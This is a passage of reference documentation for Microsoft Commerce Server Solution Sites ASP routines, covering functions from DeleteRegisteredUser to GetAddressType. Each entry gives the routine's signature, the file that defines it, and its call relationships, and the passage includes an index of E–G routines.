This sub deletes a specific registered user profile.

Definition

Sub DeleteRegisteredUser(
  byVal sID
)

Defined in File

services\include\delete_profiles.asp

Routines Called

None.

Called By

DeleteSingleProfile


DeleteSelectedProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes all the selected profiles.

Definition

Sub DeleteSelectedProfiles(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\delete_profiles.asp

Routines Called

DeleteSingleProfile

iGetCountOfProfiles

Called By

PrepareDeleteAction


DeleteSingleProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub deletes the specified profile.

Definition

Sub DeleteSingleProfile(
  byVal sProfileID
)

Parameters

sProfileID
A string containing the profile ID.

Defined in File

services\include\delete_profiles.asp

Routines Called

DeleteRegisteredUser

sGetThisPageProperty

Called By

bInsertProfileDetails

DeleteSelectedProfiles


DeSelectAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub redirects the user in a "Select All" action.

Definition

Sub DeSelectAllActionHandler(
  byVal sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

ReDirectToPage

Called By

htmEditPageActionHandlers


dictAggregatePreviews - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function aggregates shipping preview totals across the OrderGroup object.

Definition

Function dictAggregatePreviews(
  dictPreviewsPerOrderForm
)

Defined in File

pickship.asp

Routines Called

None.

Called By

PreparePickShipForm


dictGetCatalogAttributes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access.

Definition

Function dictGetCatalogAttributes(
  MSCSCatalogManager
)

Parameters

MSCSCatalogManager
An initialized CatalogManager object.

Return Value

A Dictionary object that contains all the property definitions that exist in the Product Catalog System.

Defined in File

include\global_catalog_lib.asp

Routines Called

dictGetRSFields

GetDictionary

Called By

Main (include\global_main_lib.asp)


dictGetInitialFieldValues - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object containing the default form field values for the address.

Definition

Function dictGetInitialFieldValues(
  byVal listFlds,
  byVal sAction,
  byVal rsAddr,
  byVal iAddrType
)

Defined in File

newaddr.asp

Routines Called

GetDictionary

RsToDict

Called By

SetupAddressForm


dictGetProfileSchemaForAllProfileTypes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Dictionary object representing the schema of all profile types.

Definition

Function dictGetProfileSchemaForAllProfileTypes(
  byVal oProfileService
)

Defined in File

include\global_profile_lib.asp

Routines Called

GetDictionary

listGetProfileSchema

oGetBizDataObject

oGetProfile

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


dictGetpropertyFromList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the specified property from a list of properties.

Definition

Function dictGetpropertyFromList(
  byVal sPropertyName,
  byVal listValidProperties
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

listReConstructPropertiesSchema


dictGetPropertySchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object containing property attributes. These attributes are used in the application for standard form validations, rendering functions, and profile updates.

Definition

Function dictGetPropertySchema (
  byVal oGroup,
  byVal oProperty,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_forms_lib.asp

Routines Called

GetDictionary

oGetSiteTermOptions

Called By

AddGroupAndPropertySchemas


dictGetRSFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a Dictionary object containing items whose values correspond to the field values of the Recordset object specified by the rs parameter.

Definition

Function dictGetRSFields(
  rs
)

Defined in File

include\global_catalog_lib.asp

Routines Called

GetDictionary

Called By

dictGetCatalogAttributes


dictGetSearchDictionaryForPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function retrieves the filter criteria for the current user and page.

Definition

Function dictGetSearchDictionaryForPage(
  byVal sPageName
)

Defined in File

services\include\lib.asp

Routines Called

GetAttributeValueFromProfile

Called By

PrepareDeleteAllAction

PrepareSaveAllAction


DoubleQuote - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds escaped double quotes ("") to the beginning and end of the passed string and returns the resulting string.

Definition

Function DoubleQuote(
  byVal s
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

Analysis_ConstructKeyValueString

PredictedPropToHREF

TDTag

THTag


E - G

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters E through G.

Routine | File
EnsureAccess | include\std_access_lib.asp
EnsureAuthAccess | include\std_access_lib.asp
EnsureSupportForPaymentMethod | include\payment.asp
EnsureUpToDateUserProfile | include\std_profile_lib.asp
EnsureUserHasRightsToCatalog | include\catalog.asp
EnsureUserProfile | include\std_profile_lib.asp
ErrorOut | opt-out.asp
FetchCategoryData | category.asp
FetchData | addrbook.asp
FetchData | newaddr.asp
FetchData | _setadrs.asp
FormatOutput | include\std_util_lib.asp
formRenderBlankEditPageBody | services\include\render_edit_blank.asp
formRenderChangePasswordPageContents | services\include\render_password.asp
formRenderEditPageBody | services\include\render_edit_common.asp
formRenderListPageContents | services\include\render_list.asp
formRenderOrderContents | services\include\render_orders.asp
formRenderOrderSearchOptions | services\include\render_orders.asp
formRenderOrdersListContents | services\include\render_orders.asp
formRenderPagingButtons | services\include\render_common.asp
formRenderProfileSearchOptions | services\include\render_list.asp
GenerateURL | include\std_url_lib.asp
GetActiveUsersOnly | services\include\save_one_profile.asp
GetAddressBookAddressFieldDefinitions | include\global_addressbook_lib.asp
GetAddresses | include\addr_lib.asp
GetAddressFieldDefinitions | include\global_addressbook_lib.asp
GetAddressPage | include\std_util_lib.asp
GetAddressType | include\addr_lib.asp
GetAncestorCategories | template\discount.asp
GetAnyLineItem | include\std_ordergrp_lib.asp
GetAnyOrderForm | include\std_ordergrp_lib.asp
GetAnySavedAddressID | addrform.asp
GetAppConfigObject | include\global_siteconfig_lib.asp
GetArrayFromList | include\std_util_lib.asp
GetAttributeValueFromProfile | services\include\get_profiles.asp
GetAuthManagerObject | include\std_access_lib.asp
GetBaseURL | include\global_siteconfig_lib.asp
GetBasketDetails | template\discount.asp
GetBillToCurrenciesListItems | include\global_internationalization_lib.asp
GetBillToCurrenciesListValues | include\global_internationalization_lib.asp
GetBillToCurrencyFieldDefinition | include\global_internationalization_lib.asp
GetCatalogForUser | include\catalog.asp
GetCommerceSiteInstallPoint | include\global_siteconfig_lib.asp
GetCommerceSiteName | include\global_siteconfig_lib.asp
GetComputerName | include\global_siteconfig_lib.asp
GetConfigDictionary | include\global_siteconfig_lib.asp
GetCorrectedCookiePath | include\std_cookie_lib.asp
GetCorrectedHostName | include\std_cookie_lib.asp
GetCountryCodesList | include\global_internationalization_lib.asp
GetCountryNamesList | include\global_internationalization_lib.asp
GetCreditCardCodesList | include\global_creditcards_lib.asp
GetCreditCardFieldDefinitions | include\global_creditcards_lib.asp
GetCreditCardNamesList | include\global_creditcards_lib.asp
GetCurrentUserProfile | include\std_profile_lib.asp
GetDefaultPaymentMethodForUser | include\payment.asp
GetDefaultValueForNameOnCard | crdtcard.asp
GetDefaultValuesForAddressFormFields | addrform.asp
GetDefaultValuesForCreditCardFields | crdtcard.asp
GetDefaultValuesForPurchaseOrderFields | po.asp
GetDictionary | include\std_util_lib.asp
GetDiscountDescription | include\std_util_lib.asp
GetDWConnectionString | include\global_data_lib.asp
GetErrorCount | include\std_ordergrp_lib.asp
GetErrorSource | include\std_util_lib.asp
GetFieldsErrorDictionary | include\form_lib.asp
GetFileSystemObject | include\std_util_lib.asp
GetFormDefinitions | include\global_forms_lib.asp
GetIISApplicationName | include\std_cookie_lib.asp
GetINIFileName | include\global_siteconfig_lib.asp
GetINIString | include\global_siteconfig_lib.asp
GetInputParameters | template\discount.asp
GetKeyValue | include\std_util_lib.asp
GetLineItemsCount | include\std_ordergrp_lib.asp
GetListItemIndex | include\std_util_lib.asp
GetLoginFieldDefinitions | include\global_forms_lib.asp
GetMachineBaseURL | include\global_siteconfig_lib.asp
GetMessageManagerObject | include\global_messagemanager_lib.asp
GetMonthCodesList | include\std_dates_lib.asp
GetMonthNamesList | include\std_dates_lib.asp
GetNewGuestUserProfile | include\std_profile_lib.asp
GetObjectInstanceDictionary | include\std_util_lib.asp
GetODBCTimeStamp | services\include\profiles_common.asp
GetOptOutList | opt-out.asp
GetOrderGroup | include\std_ordergrp_lib.asp
GetOrderGroupManager | include\std_ordergrp_lib.asp
GetOrganizationAddresses | include\addr_lib.asp
GetOrgAttributeFromID | services\include\get_profiles.asp
GetPartnerAndCustomerServicePageAttributes | services\include\global_service_lib.asp
GetPasswordFieldDefinition | include\global_forms_lib.asp
GetPaymentMethodDisplayName | include\payment.asp
GetPaymentMethodsForSite | include\global_siteconfig_lib.asp
GetPaymentMethodsForUser | include\payment.asp
GetPaymentPageFromPaymentMethod | include\payment.asp
GetPipelineLogFile | include\std_pipeline_lib.asp
GetPriceAndCurrency | include\catalog.asp
GetProductQuantity | _additem.asp
GetProfileFromDB | include\std_profile_lib.asp
GetProfileService | include\std_profile_lib.asp
GetPurchaseOrderFieldDefinitions | include\global_forms_lib.asp
GetQualifiedName | include\std_util_lib.asp
GetRecordCount | include\std_util_lib.asp
GetRegExp | include\std_util_lib.asp
GetRegistrationFieldDefinitions | include\global_forms_lib.asp
GetRepeatStyle | include\html_lib.asp
GetRequestString | include\std_url_lib.asp
GetRequestStringRange | include\std_url_lib.asp
GetRequestType | include\std_cookie_lib.asp
GetRootPath | include\global_siteconfig_lib.asp
GetSavedAddressID | addrform.asp
GetSearchDictionaryForThisPage | services\include\lib.asp
GetSecurePagesDictionary | include\global_siteconfig_lib.asp
GetShippingMethodNameFromID | _setship.asp
GetShipToAddressFieldDefinitions | include\global_addressbook_lib.asp
GetShownProductsDetails | template\discount.asp
GetSimpleList | include\std_util_lib.asp
GetSiteConfigObject | include\global_siteconfig_lib.asp
GetSitePages | include\global_siteconfig_lib.asp
GetSiteStyles | include\global_ui_lib.asp
GetSpecificationSearchClauses | stepsrch.asp
GetStatusFieldAndID | services\include\edit_handlers.asp
GetStyles | include\global_ui_lib.asp
GetSubmittedFieldValues | include\form_lib.asp
GetTableNameAndWhereClause | services\include\profiles_common.asp
GetTicketInUrlArg | include\std_url_lib.asp
GetTicketLocation | include\std_url_lib.asp
GetUserAccountControl | services\include\save_all_profiles.asp
GetUserAddresses | include\addr_lib.asp
GetUserInfo | include\std_access_lib.asp
GetUserProfileByLoginName | include\std_profile_lib.asp
GetUserPropertyFromID | services\include\get_profiles.asp
GetXMLForVendorItems | include\payment.asp
GetYearsListItems | include\std_dates_lib.asp
GetYearsListValues | include\std_dates_lib.asp


EnsureAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have tickets. Call this sub from within the Main subroutine on every page that requires such access control. A call to this sub must appear before any other statement in the Main subroutine.

Definition

Sub EnsureAccess()

Defined in File

include\std_access_lib.asp

Routines Called

EnsureUserProfile

GenerateURL

GetCurrentUserProfile

GetNewGuestUserProfile

GetQualifiedName

IsFormLoginRequired

IsPersistentCookieAllowed

sGetUserIDForNewGuestUser

Called By

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (basket.asp)

Main (category.asp)

Main (confirm.asp)

Main (crdtcard.asp)

Main (default.asp)

Main (dispatch.asp)

Main (pickship.asp)

Main (product.asp)

Main (search.asp)

Main (srchdept.asp)

Main (stepsrch.asp)

Main (summary.asp)

RecordClickToBasket


EnsureAuthAccess - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have an AUTH_TICKET. Call this function from within the Main subroutine on every page that requires such access control. A call to this function must appear before any other statement in the Main subroutine.

Definition

Function EnsureAuthAccess()

Return Value

Users who do not have a current profile are redirected to the "missing profile" error page (error\profile.asp). Otherwise, the function returns a Recordset object containing the current profile of the user.

Defined in File

include\std_access_lib.asp

Routines Called

EnsureUserProfile

GenerateURL

Called By

Main (_setadrs.asp)

Main (addrbook.asp)

Main (newaddr.asp)

Main (po.asp)

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\orders.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


EnsureSupportForPaymentMethod - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub checks whether the selected payment method is supported for the user; if it is not, the user is redirected to the default payment method page for the user.

Definition

Sub EnsureSupportForPaymentMethod(
  listMethods,
  sPaymentMethod
)

Defined in File

include\payment.asp

Routines Called

GenerateURL

GetDefaultPaymentMethodForUser

GetPaymentPageFromPaymentMethod

IsEntityInList

Called By

CatchErrorsForPaymentPages


EnsureUpToDateUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the profile of the user from the cache if it is up-to-date. Otherwise, the profile is retrieved from the Profiles store.

Definition

Sub EnsureUpToDateUserProfile(
  byRef rsUser
)

Defined in File

include\std_profile_lib.asp

Routines Called

GetProfileFromDB

Called By

GetCurrentUserProfile

GetUserProfileByLoginName

Remarks

For more information on profile caching and related Web farm issues, see About the Profiles Feature for Solution Sites.


EnsureUserHasRightsToCatalog - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub ensures that the user has access rights to the given catalog. If not, the user is redirected to the "bad catalog item" error page (error\baditem.asp).

Definition

Sub EnsureUserHasRightsToCatalog(
  byVal sCatalogName,
  byVal sUserID
)

Parameters

sCatalogName
A string containing the name of the catalog.
sUserID
A string containing the user ID.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

mscsUserCatalogsetID

Called By

GetCatalogForUser

Main (category.asp)

Main (product.asp)


EnsureUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function ensures that the profile of the user exists. If not, the user is redirected to the "missing profile" error page (error\profile.asp).

Definition

Function EnsureUserProfile()

Return Value

Users who do not have a current profile are redirected to the "missing profile" error page. Otherwise, the function returns a Recordset object containing the current profile of the user.

Defined in File

include\std_profile_lib.asp

Routines Called

GenerateURL

GetCurrentUserProfile

Called By

bCheckIfProfileExists

bInsertProfile

bPaintACLForUser

EnsureAccess

EnsureAuthAccess

iGetCurrentUserPropertyAccessClass

PrepareLoginSection

PrepareOrderList

rsGetOrdersList

SaveReadOnlyProperty

sGetWhereClauseForCurrentUser

UpdateSelectActionPropertyName

UpdateUserPasswordProperty


ErrorOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub displays an error message, logs the error to the event log, and stops script execution.

Definition

Sub ErrorOut()

Defined in File

opt-out.asp

Routines Called

This routine does not call any other routines defined in the Solution Sites files.

Called By

Main (opt-out.asp)

OptOut

Remarks

This routine produces a different error message depending on whether the global variable MSCSENV is set to the constant PRODUCTION or the constant DEVELOPMENT.


FetchCategoryData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the variables passed to it.

Definition

Sub FetchCategoryData(
  byRef sPageTitle,
  byRef sCatalogName,
  byRef sCategoryName,
  byRef iPageNumber
)

Parameters

sPageTitle
A string that this sub initializes to a constant string stored in the MessageManager object.
sCatalogName
A string that this sub initializes to the request variable CATALOG_NAME_URL_KEY.
sCategoryName
A string that this sub initializes to the request variable CATEGORY_NAME_URL_KEY.
iPageNumber
A number that this sub initializes to the request variable PAGENUMBER_URL_KEY.

Defined in File

category.asp

Routines Called

GetRequestString

Called By

Main (category.asp)


FetchData (addrbook.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves the address information for the current user, initializing the iAddrType and rsAddresses parameters. If the rsAddresses Recordset object is not empty, the sCheckedAddrID parameter is also initialized.

Definition

Sub FetchData(
  ByRef iAddrType,
  ByRef rsAddresses,
  ByRef sCheckedAddrID
)

Defined in File

addrbook.asp

Routines Called

GetAddressType

GetUserAddresses

Called By

Main (addrbook.asp)


FetchData (newaddr.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the iAddrType and sAction parameters. If the sAction parameter is equal to "add", "edit", or "delete", the sAddrID parameter is initialized. If the sAddrID parameter is not Null, the rsAddr parameter is initialized to a Recordset object containing the address information for the current user.

Definition

Sub FetchData(
  ByRef iAddrType,
  ByRef sAction,
  ByRef sAddrID,
  ByRef rsAddr
)

Defined in File

newaddr.asp

Routines Called

GetAddressType

rsGetProfile

Called By

SetupAddressForm


FetchData (_setadrs.asp) - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes its parameters. The sAddrID parameter is initialized to the request variable ADDRESS_ID. The mscsOrderGroup parameter is initialized to the contents of the basket for the current user. The rsAddr parameter is initialized to a Recordset object containing address information for the current user.

Definition

Function FetchData(
  ByRef mscsOrderGrp,
  ByRef sAddrID,
  ByRef rsAddr
)

Defined in File

_setadrs.asp

Routines Called

GetRequestString

LoadBasket

rsGetProfile

Called By

Main (_setadrs.asp)


FormatOutput - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function formats a string, replacing variables in the sTemplate parameter of the form %1, %2, and so on, with strings supplied in the arrArgs array parameter.

Definition

Function FormatOutput(
  byVal sTemplate,
  arrArgs
)

Parameters

sTemplate
A string containing replaceable substrings of the form %1, %2, and so on.
arrArgs
An array of strings to replace the substrings of the form %1, %2, and so on, in the sTemplate parameter. The first string in the array will replace the %1 substring, the second string in the array will replace the %2 substring, and so on.

Return Value

A string in which the specified replacements have been made.

Defined in File

include\std_util_lib.asp

Routines Called

This routine does not call any routines defined in the Solution Sites files.

Called By

colRenderPropertyTip

GetAddresses

GetDefaultValueForNameOnCard

GetErrorSource

GetLoginFieldDefinitions

GetPasswordFieldDefinition

htmRenderCategoryPage

htmRenderConfirmationPage

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

htmRenderUserDefinedProductProperties

JoinWebFarm

RenderSearchResultRow

rowRenderStatusInfo

tableRenderFooterInfo


formRenderBlankEditPageBody - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a blank profile editing form.

Definition

Function formRenderBlankEditPageBody(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_blank.asp

Routines Called

GenerateURL

RenderForm

RenderHiddenField

tableRenderBlankProfile

tableRenderEditPageTasks

Called By

htmRenderBlankEditPage


formRenderChangePasswordPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the change password form.

Definition

Function formRenderChangePasswordPageContents(
  sAction,
  sSubAction,
  sProfileIDs,
  rsUser,
  bValidPostedValues,
  bDisplayPostedValues
)

Defined in File

services\include\render_password.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

tableChangePasswordTasks

tableRenderChangePasswordContents

Called By

htmRenderChangePasswordPage


formRenderEditPageBody - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a profile editing form.

Definition

Function formRenderEditPageBody(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal rsProfiles,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

GenerateURL

RenderForm

RenderHiddenField

tableRenderEditPageTasks

tableRenderProfiles

Called By

htmRenderEditPage


formRenderListPageContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a profile list form.

Definition

Function formRenderListPageContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfiles,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef bIsEmpty
)

Defined in File

services\include\render_list.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

sGetSelectActionPropertyName

sGetThisPageProperty

tableRenderListPageTasks

tableRenderMultipleRecords

Called By

htmRenderProfilesList


formRenderOrderContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an order details form.

Definition

Function formRenderOrderContents(
  sAction,
  sSubAction,
  sProfileIDs,
  rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

GenerateURL

GetRequestString

RenderForm

RenderHiddenField

tblOrderDetailsTasks

tblRenderOrderDetailsContents

Called By

htmRenderOrderDetails


formRenderOrderSearchOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render either a simple or advanced order searching form, based on the value of the sCriteria parameter.

Definition

Function formRenderOrderSearchOptions(
  byVal dictSearchOptions,
  byVal mscsUserProfile,
  sCriteria
)

Defined in File

services\include\render_orders.asp

Routines Called

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

rowRenderAdvancedSearchOptionsForOrders

rowRenderSimpleSearchOptionsForOrders

sReConstructPageURL

TRTag

Called By

htmRenderOrderList


formRenderOrdersListContents - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an orders list form.

Definition

Function formRenderOrdersListContents(
  byVal sAction,
  byVal sSubAction,
  byVal rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byVal sTargetPage
)

Defined in File

services\include\render_orders.asp

Routines Called

GenerateURL

RenderForm

tableRenderOrdersListContents

tableRenderOrdersListTasks

Called By

htmRenderOrderList


formRenderPagingButtons - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render paging buttons. These buttons are wrapped in a form that gets posted when a paging button is clicked.

Definition

Function formRenderPagingButtons(
  byVal sAction,
  byVal sSubAction,
  byVal iPageNumber,
  byVal iTotalPages,
  byVal bRequiresLastPageCtrl
)

Defined in File

services\include\render_common.asp

Routines Called

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTextBox

sReConstructPageURL

Called By

tableRenderFooterInfo


formRenderProfileSearchOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render either a simple or advanced profile searching form, based on the value of the request variable QUERY_STRING_CRITERIA.

Definition

Function formRenderProfileSearchOptions(
  byVal sAction,
  byVal sSubAction,
  byVal dictSearchOptions
)

Defined in File

services\include\render_list.asp

Routines Called

colRenderAdvancedSearchTab

colRenderSimpleSearchTab

GetRequestString

RenderForm

RenderHiddenField

RenderSubmitButton

RenderTable

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

sReConstructPageURL

TRTag

Called By

htmRenderProfilesList


GenerateURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks whether the page is defined as supporting the Secure Socket Layer (SSL) protocol, and whether the ticket is stored in a cookie or in the URL. This information, along with the parameters, is passed to the GetURL method of the AuthManager object.

Definition

Function GenerateURL(
  byVal sPageName,
  ByRef arrParams,
  ByRef arrVals
)

Defined in File

include\std_url_lib.asp

Routines Called

None.

Called By

CatchErrors (_setadrs.asp)

CatchErrors (_setship.asp)

CatchErrors (addrbook.asp)

CatchErrors (addrform.asp)

CatchErrors (newaddr.asp)

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

CheckIfOrderExists

CheckIfProfilesExist

CheckOut

CheckPartnerServiceAccess

CloseOrderDetailsActionHandler

EnsureAccess

EnsureAuthAccess

EnsureSupportForPaymentMethod

EnsureUserHasRightsToCatalog

EnsureUserProfile

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrdersListContents

GetCatalogForUser

GetTicketInUrlArg

htmChangePasswordActionHandler

htmEditPageActionHandlers

htmListPageActionHandlers

htmRenderAddressBook

htmRenderAddressBookPage

htmRenderAddressForm

htmRenderAddressRows

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderCheckoutButton

htmRenderConfirmationPage

htmRenderCreditCardPage

htmRenderCustomerServiceSection

htmRenderEditPage

htmRenderLoginPage

htmRenderLoginSection

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

htmRenderOrderDetails

htmRenderOrderForm

htmRenderOrderList

htmRenderPartnerServiceSection

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchDeptPageContent

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

InitializeConfirmationPage

InitializeCreditcardPage

InitializePO

InitializeSummaryPage

Main (_additem.asp)

Main (_delall.asp)

Main (_delitem.asp)

Main (_editqty.asp)

Main (_setadrs.asp)

Main (_setship.asp)

Main (addrform.asp)

Main (category.asp)

Main (dispatch.asp)

Main (error\badurl.asp)

Main (error\noauth.asp)

Main (login\_guest.asp)

Main (login\login.asp)

Main (login\newuser.asp)

Main (product.asp)

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\view_order.asp)

Main (stepsrch.asp)

mscsGetCategoryObject

PasswordActionHandlers

PredictedPropToHREF

PrepareCloseAction

PrepareLoginPage

PrepareLogoffPage

PrepareNewUserPage

PreparePickShipForm

PrepareSelectActionHandlerForEdit

PrepareShippingMethods

RedirectOrderDetailsForIDs

ReDirectToPage

RedirectToPOConfirmation

RenderBasketPage

RenderCategoryURL

RenderNavbar

RenderProductURL

SelectedActionHandlerForList

SetupAddressForm

ShowRefinedSearch


GetActiveUsersOnly - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function examines the semicolon-separated list of user profile IDs, and returns a similar list containing only those user profile IDs that correspond to users that have an account status of ACCOUNT_ACTIVE.

Definition

Function GetActiveUsersOnly(
  byVal sProfileIDs
)

Parameters

sProfileIDs
A string containing a semicolon-separated list of user profile IDs.

Return Value

A string containing a semicolon-separated list of user profile IDs corresponding to users that are specified in the list provided by the sProfileIDs parameter, and that have an account status of ACCOUNT_ACTIVE.

Defined in File

services\include\save_one_profile.asp

Routines Called

GetUserPropertyFromID

Called By

SaveUserAccountControlProperty


GetAddressBookAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for address book entries.

Definition

Function GetAddressBookAddressFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for address book entries.

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetAddressFieldDefinitions

GetDictionary

GetSimpleList

Called By

GetFormDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetAddresses - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object of address information for either a user or an organization, based on the value of the sAddrParentID parameter.

Definition

Function GetAddresses(
  byVal sAddrParentID
)

Defined in File

include\addr_lib.asp

Routines Called

FormatOutput

GetQualifiedName

Called By

GetOrganizationAddresses

GetUserAddresses

Remarks

This function uses ActiveX Data Objects (ADO) and the OLEDB Provider for Commerce Server for direct database access.


GetAddressFieldDefinitions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function initializes the form field definitions for address fields used in address book entries and on shipping and billing address forms.

Definition

Function GetAddressFieldDefinitions()

Return Value

A SimpleList object containing the form field definitions for common address fields.

Defined in File

include\global_addressbook_lib.asp

Routines Called

GetCountryCodesList

GetCountryNamesList

GetDictionary

GetSimpleList

Called By

GetAddressBookAddressFieldDefinitions

GetFormDefinitions

GetShipToAddressFieldDefinitions

Remarks

For more information about forms processing in the Solution Sites, see Forms Processing for Solution Sites.


GetAddressPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the name of the page used to enter or select an address. If the user is an anonymous user or if address book functionality is disabled, the name of the address form page is returned. Otherwise, the name of the address book page is returned.

Definition

Function GetAddressPage()

Return Value

A string containing the name of either the address form page or the address book page.

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

Remarks

For more information about how addresses are managed in the Solution Sites, see About the Address Management Feature for Solution Sites.


GetAddressType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the address type from the request variable ADDRESS_TYPE.

Definition

Function GetAddressType()

Return Value

One of the two constant values, BILLING_ADDRESS or SHIPPING_ADDRESS.

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

